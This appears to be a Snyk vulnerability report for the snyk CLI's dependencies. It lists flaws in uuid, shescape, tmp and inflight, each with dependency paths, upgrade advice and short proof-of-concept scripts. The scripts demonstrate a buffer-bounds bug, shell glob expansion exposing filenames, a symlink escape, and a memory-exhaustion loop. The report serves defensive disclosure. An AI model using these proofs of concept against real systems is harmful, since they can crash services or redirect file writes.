Vulnerabilities |
4 via 19 paths |
|---|---|
Dependencies |
467 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
high severity
new
- Vulnerable module: uuid
- Introduced through: uuid@8.3.2, @snyk/code-client@4.26.0 and others
Detailed paths
-
Introduced through: snyk@snyk/snyk › uuid@8.3.2Remediation: Upgrade to uuid@11.1.1.
-
Introduced through: snyk@snyk/snyk › @snyk/code-client@4.26.0 › uuid@8.3.2
-
Introduced through: snyk@snyk/snyk › snyk-nodejs-lockfile-parser@2.7.1 › uuid@8.3.2
-
Introduced through: snyk@snyk/snyk › snyk-docker-plugin@9.7.0 › snyk-nodejs-lockfile-parser@2.7.1 › uuid@8.3.2
-
Introduced through: snyk@snyk/snyk › snyk-nodejs-plugin@2.0.0 › snyk-nodejs-lockfile-parser@2.7.1 › uuid@8.3.2
-
Introduced through: snyk@snyk/snyk › snyk-docker-plugin@9.7.0 › snyk-poetry-lockfile-parser@1.9.1 › @snyk/error-catalog-nodejs-public@4.0.4 › uuid@9.0.1
-
Introduced through: snyk@snyk/snyk › snyk-nuget-plugin@4.2.0 › dotnet-deps-parser@6.1.0 › @snyk/error-catalog-nodejs-public@4.0.4 › uuid@9.0.1
-
Introduced through: snyk@snyk/snyk › snyk-python-plugin@3.2.1 › snyk-poetry-lockfile-parser@1.9.2 › @snyk/error-catalog-nodejs-public@4.0.4 › uuid@9.0.1
Overview
uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.
Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.
PoC
cd /home/StrawHat/uuid
npm ci
npm run build
node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
['v4',()=>v4({},new Uint8Array(8),4)],
['v5',()=>v5('x',ns,new Uint8Array(8),4)],
['v6',()=>v6({},new Uint8Array(8),4)],
]) {
try { fn(); console.log(name,'NO_THROW'); }
catch(e){ console.log(name,'THREW',e.name); }
}"
Remediation
Upgrade uuid to version 11.1.1, 14.0.0 or higher.
References
medium severity
- Vulnerable module: shescape
- Introduced through: @snyk/snyk-cocoapods-plugin@3.1.0, @snyk/snyk-hex-plugin@2.1.0 and others
Detailed paths
-
Introduced through: snyk@snyk/snyk › @snyk/snyk-cocoapods-plugin@3.1.0 › shescape@2.1.6
-
Introduced through: snyk@snyk/snyk › @snyk/snyk-hex-plugin@2.1.0 › shescape@2.1.6
-
Introduced through: snyk@snyk/snyk › snyk-python-plugin@3.2.1 › shescape@2.1.6
-
Introduced through: snyk@snyk/snyk › snyk-sbt-plugin@3.1.0 › shescape@2.1.6
Overview
shescape is a simple shell escape library
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the escape function. An attacker can cause unintended expansion of shell arguments by supplying input containing square brackets, which may result in multiple filesystem matches being processed instead of a single literal argument. This can lead to changes in command behavior, targeting of unintended files, or exposure of filenames when the output is used in shell commands.
PoC
tmp=$(mktemp -d)
cd "$tmp"
npm pack shescape@2.1.9 >/dev/null
mkdir pkg
tar -xzf shescape-2.1.9.tgz -C pkg
cd pkg/package
npm install --omit=dev
node --input-type=module - <<'NODE'
import { mkdtempSync, writeFileSync } from "node:fs";
import { tmpdir } from "node:os";
import path from "node:path";
import { execSync } from "node:child_process";
import { Shescape } from "./src/index.js";
const dir = mkdtempSync(path.join(tmpdir(), "shescape-ghsa-poc-"));
writeFileSync(path.join(dir, "secret1"), "");
writeFileSync(path.join(dir, "secret2"), "");
for (const shell of ["/usr/bin/bash", "/usr/bin/dash"]) {
const shescape = new Shescape({ shell });
const escaped = shescape.escape("secret[12]");
console.log(${shell} escaped=${escaped});
const out = execSync(printf '<%s>\\n' ${escaped}, { cwd: dir, shell }).toString();
process.stdout.write(out);
}
NODE
Remediation
Upgrade shescape to version 2.1.10 or higher.
References
medium severity
- Vulnerable module: tmp
- Introduced through: @snyk/snyk-hex-plugin@2.1.0, snyk-python-plugin@3.2.1 and others
Detailed paths
-
Introduced through: snyk@snyk/snyk › @snyk/snyk-hex-plugin@2.1.0 › tmp@0.0.33
-
Introduced through: snyk@snyk/snyk › snyk-python-plugin@3.2.1 › tmp@0.2.3
-
Introduced through: snyk@snyk/snyk › snyk-sbt-plugin@3.1.0 › tmp@0.1.0
Overview
Affected versions of this package are vulnerable to Symlink Attack via the dir parameter. An attacker can cause files or directories to be written to arbitrary locations by supplying a crafted symbolic link that resolves outside the intended temporary directory.
PoC
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}
Remediation
Upgrade tmp to version 0.2.4 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: glob@7.2.3, rimraf@2.7.1 and others
Detailed paths
-
Introduced through: snyk@snyk/snyk › glob@7.2.3 › inflight@1.0.6
-
Introduced through: snyk@snyk/snyk › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: snyk@snyk/snyk › snyk-mvn-plugin@4.7.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: snyk@snyk/snyk › snyk-sbt-plugin@3.1.0 › tmp@0.1.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight.
References
medium severity
ignored
- Module: shescape
- Introduced through: @snyk/snyk-cocoapods-plugin@3.1.0, @snyk/snyk-hex-plugin@2.1.0 and others
-
Ignored path
∗
-
Expires
in 97 years
Reason
: --about lists all dependency licenses which is a requirement of MPL-2.0This issue was ignored via the project's .snyk policy file. To unignore it, update the policy file.
Detailed paths
-
Introduced through: snyk@snyk/snyk › @snyk/snyk-cocoapods-plugin@3.1.0 › shescape@2.1.6
-
Introduced through: snyk@snyk/snyk › @snyk/snyk-hex-plugin@2.1.0 › shescape@2.1.6
-
Introduced through: snyk@snyk/snyk › snyk-python-plugin@3.2.1 › shescape@2.1.6
-
Introduced through: snyk@snyk/snyk › snyk-sbt-plugin@3.1.0 › shescape@2.1.6
-
Introduced through: snyk@snyk/snyk › snyk-docker-plugin@9.7.0 › shescape@2.1.12
-
Introduced through: snyk@snyk/snyk › snyk-mvn-plugin@4.7.0 › shescape@2.1.12
-
Introduced through: snyk@snyk/snyk › snyk-gradle-plugin@6.0.0 › shescape@2.1.11
MPL-2.0 license